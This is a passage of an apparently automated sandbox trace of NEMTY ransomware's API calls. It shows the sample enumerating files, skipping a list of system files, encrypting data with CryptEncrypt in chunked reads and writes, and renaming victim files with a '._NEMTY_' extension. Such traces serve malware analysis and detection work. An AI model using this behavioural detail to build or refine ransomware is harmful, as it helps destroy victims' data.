lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.151] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.161] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.170] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.170] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.170] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.190] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.190] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.190] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.219] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.253] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.253] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.253] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.259] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.259] CloseHandle (hObject=0xffffffff) returned 0 [0154.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.259] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.259] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\21.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\21.png._nemty_kgobjgd_")) returned 0 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.260] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8693fba5, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8693fba5, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab4fa51, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="22.png", cAlternateFileName="")) returned 1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2=".") returned 1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="..") returned 1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="...") returned 1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="windows") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="$RECYCLE.BIN") returned 1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="rsa") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="NTDETECT.COM") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="ntldr") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="MSDOS.SYS") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="IO.SYS") returned -1 [0154.260] lstrcmpiW (lpString1="22.png", lpString2="boot.ini") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="boot.ini") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="ntuser.dat") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="desktop.ini") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="CONFIG.SYS") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="RECYCLER") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="BOOTSECT.BAK") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="bootmgr") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="programdata") returned -1 [0154.261] lstrcmpiW (lpString1="22.png", lpString2="appdata") returned -1 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="22.png", lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="22.png", lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="22.png", lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.261] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="22.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="22.png", lpUsedDefaultChar=0x0) returned 6 [0154.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.261] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0154.261] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0154.261] Sleep (dwMilliseconds=0x5) [0154.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf98c210, dwHighDateTime=0x1d561e8)) [0154.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf98c210, dwHighDateTime=0x1d561e8)) [0154.266] GetLastError () returned 0x5 [0154.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0154.266] GetLastError () returned 0x5 [0154.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0154.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0154.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0154.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0154.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0154.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0154.267] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="CiXB+M8pgnoL3sby97zt7MW3K83qqlQaHMamkYEUaejardcnsorgRu9NyN9Qe7T4\r\nhrChGU4U2sm3CzEeVl94LyVikdSzSM7qyDAFZ1X/doq4bJOSzjkByXjB8WKVPX6/\r\nCHigGThkxIywplWGYEhoH+UpIKLCoIXFsMXgBFueLBvQJYp8JSEH0ybEisBk142f\r\nMf8h7wFV2qd/ld/BLWyBQbsQwLm/j/vTRbZXvMylPfrkp006KrAcpcL2EVCc71Hv\r\nz8qZLX9zeoHyz0GVjarbjOXm9feUXsMk2obY/9NebNM2BDzieMleuW2KYGlr7eIz\r\nz/FQ7elAisJvdxKHlKnvxg==\r\n", pcchString=0x653e91c) returned 1 [0154.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0154.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.267] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0154.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0154.267] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0154.267] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\22.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\22.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0154.267] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0154.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0154.268] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.268] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.277] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.277] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.277] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.304] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.304] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.323] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.333] WriteFile (in: hFile=0xffffffff, 